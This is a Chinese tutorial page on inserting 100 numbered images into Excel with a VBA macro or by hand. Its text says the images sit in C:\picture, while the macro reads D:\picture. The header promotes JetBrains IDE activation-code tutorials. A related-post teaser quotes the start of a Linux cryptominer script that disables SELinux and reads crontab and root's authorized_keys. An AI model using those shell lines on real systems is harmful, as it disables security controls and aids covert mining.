excel批量导入图片 宏_怎么启用excel的宏

excel批量导入图片 宏_怎么启用excel的宏准备图片格式规范:C盘的picture文件夹,放100张有序命名的图片,即1.jpg,2.jpg,3.jpg…100.jpg插入图片规则:按照图片的顺序,依次插入表格的A列,让每个图片一个单元

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE使用 1年只要46元 售后保障 童叟无欺

准备

  图片格式规范:C盘的picture文件夹,放100张有序命名的图片,即1.jpg,2.jpg,3.jpg…100.jpg

  插入图片规则:按照图片的顺序,依次插入表格的A列,让每个图片一个单元格,1.jpg在单元格A1中,2.jpg在单元格A2中,3.jpg在单元格A3中…100.jpg在单元格A100中

法1-使用excel的宏机制

  参考链接:http://www.360doc.com/content/11/0503/16/5148091_114087373.shtml

  1. 先新建一个宏。可以依次点击【开发工具】->【录制新宏】->【停止录制】->【宏】;见下图

    excel批量导入图片 宏_怎么启用excel的宏

  2. 此时可以看到刚刚录制的宏,选中你刚刚录制的宏Macro1,点击【编辑】,见下图

    excel批量导入图片 宏_怎么启用excel的宏

  3. 将文件内容清空,【ctrl+A】->【delete】,将下面脚本复制进去,见下图

    excel批量导入图片 宏_怎么启用excel的宏

    

Sub Macro1()
'
' Macro1 Macro
' 宏由 Administrator 录制,时间: 2018/11/24
'
Dim cun As Integer
For cun = 1 To 100
    Range("a" & cun).Select
    ActiveSheet.Pictures.Insert("D:\picture\" & cun & ".jpg").Select
    Next cun
    

End Sub

  上面代码解释一下

  1) Sub Macro1()  指宏的名称
  2) F
or cun = 1 To 100 1表示第一行,100表示第100行,如果你有1000张有序图片,可以修改为1000
  3) Range("a" & cun).Select a表示执行这个宏是在A列
  4)ActiveSheet.Pictures.Insert("D:\picture\" & cun & ".jpg").Select 插入D:\picture路径的图片,格式为jpg
  4.快速删除指定图片的方法,
  参考链接:https://bbs.csdn.net/topics/390084451
  1)点击其中一张图片->【Ctrl+A】全选图片->单击鼠标【右键】->找到图片的【
属性】->选择【大小与属性】->调整【属性】“大小和位置随单元格而变”->确定
  2)然后删除对应的单元格,对应的图片也就都删掉了
 

法2-纯手工操作

  参考链接:https://jingyan.baidu.com/article/ca2d939d7896e0eb6c31ce91.html

  操作步骤

  1. 打开excel,调整行高列宽为自己想要大小

  2. 全选文件夹中图片,拖拽到excel中;

  3. 插入后,你会发现最后一张图片(即第100张)在最顶层,且是选中状态

  4. 通过属性调节第100张图片(即最上面的图片)的大小,和1中的行高一样

  5. 将第100张图片单独剪切复制A列的第100行

  6. 接着按快捷键ctrl+A全选图片,调整图片属性大小,和1中行高一样

  7.最后调整对齐格式,横向分布,纵向分布,最后左对齐   即可

  可能的坑

  图片直接拖到excel中,默认一般是文件夹中图片的顺序。但是不确定是图片新建顺序,还是图片命名规则。中间遇到excel中顺序和文件夹中顺序不一致的地方。

  慎重使用,仔细核对

  

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/166514.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • python etree xpath_Python etree.XPath方法代码示例

    python etree xpath_Python etree.XPath方法代码示例本文整理汇总了 Python 中 lxml etree XPath 方法的典型用法代码示例 如果您正苦于以下问题 Pythonetree XPath 方法的具体用法 Pythonetree XPath 怎么用 Pythonetree XPath 使用的例子 那么恭喜您 这里精选的方法代码示例或许可以为您提供帮助 您也可以进一步了解该方法所在模块 lxml etree 的用法示例 在下文中一共展示了 etree

    2026年2月3日
    1
  • LINUX 挖矿脚本newdat.sh

    LINUX 挖矿脚本newdat.sh#!/bin/shsetenforce02>dev/nullechoSELINUX=disabled>/etc/sysconfig/selinux2>/dev/nullsync&&echo3>/proc/sys/vm/drop_cachescrondir=’/var/spool/cron/'”$USER”cont=`cat${crondir}`ssht=`cat/root/.ssh/authorized_keys`echo1&

    2022年7月13日
    33
  • sql报错将截断字符串或二进制数据_sql根据分隔符截取字符串

    sql报错将截断字符串或二进制数据_sql根据分隔符截取字符串今天使用数据库的时候,遇见这样的错误:成因分析:自己在设计数据库的时候,将表的某些属性的域的长度设置的小了:而我在填写的对应的数据长度是超过了数据库属性长度的设计,这样,在将数据录入数据库的时候,会将数据截断。解决方案:扩充数据库对应属性的长度:~~~~~~~~~~完美解决了~~~~~~~~~~~~~~~~~~~~

    2022年10月7日
    6
  • Self-Host c#学习笔记之Application.DoEvents应用 不用IIS也能執行ASP.NET Web API

    Self-Host c#学习笔记之Application.DoEvents应用 不用IIS也能執行ASP.NET Web APISelf-Host c#学习笔记之Application.DoEvents应用 不用IIS也能執行ASP.NET Web API

    2022年4月20日
    85
  • mysql数据库置疑_SQL数据库置疑 823 824 错误修复 无法附加处理

    mysql数据库置疑_SQL数据库置疑 823 824 错误修复 无法附加处理SQL数据库为什么会置疑?这个原因有很多,例如阵列崩溃导致数据库文件页面损坏,病毒破坏,分区损坏。断电非法关机等因素怎样防止数据库置疑?远程备份或者备份到本机另一块硬盘是最佳方式,平时要多注意预防病毒文件系统检查(chkdsk检测分区看看有无坏道或者文件系统问题)UPS电源检测没事的时候就行DBCCCHECKDB检测再小的故障都要立即解决,数据库不可以带故障运行。出现故障恢复方案?…

    2022年8月20日
    7
  • 微商城分销系统:微商运营管理系统搭建介绍

    微商城分销系统:微商运营管理系统搭建介绍“互联网+”时代背景下,计算机信息处理技术的数据技术已经无法满足日益增长的数据存储需求。因此,工作人员要大力发开计算机信息处理技术的数据存储功能,促进存储技术发展,推动计算机信息处理技术在“互联网”时代中进步与发展。计算机信息处理技术的信息存储技术,是计算机在对信息数据进行加工后,将其保存在计算机系统的空间中,为使用者后期调取和查看做准备。微商城分销系统能够准确即时管理分销商,掌握分销商的销售情况,从而了解产品的销售情况,重要的是不仅实现了产品的销售与推广,还可以根据消费者的需求来改变产品的供求,了解市场

    2022年5月16日
    32

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号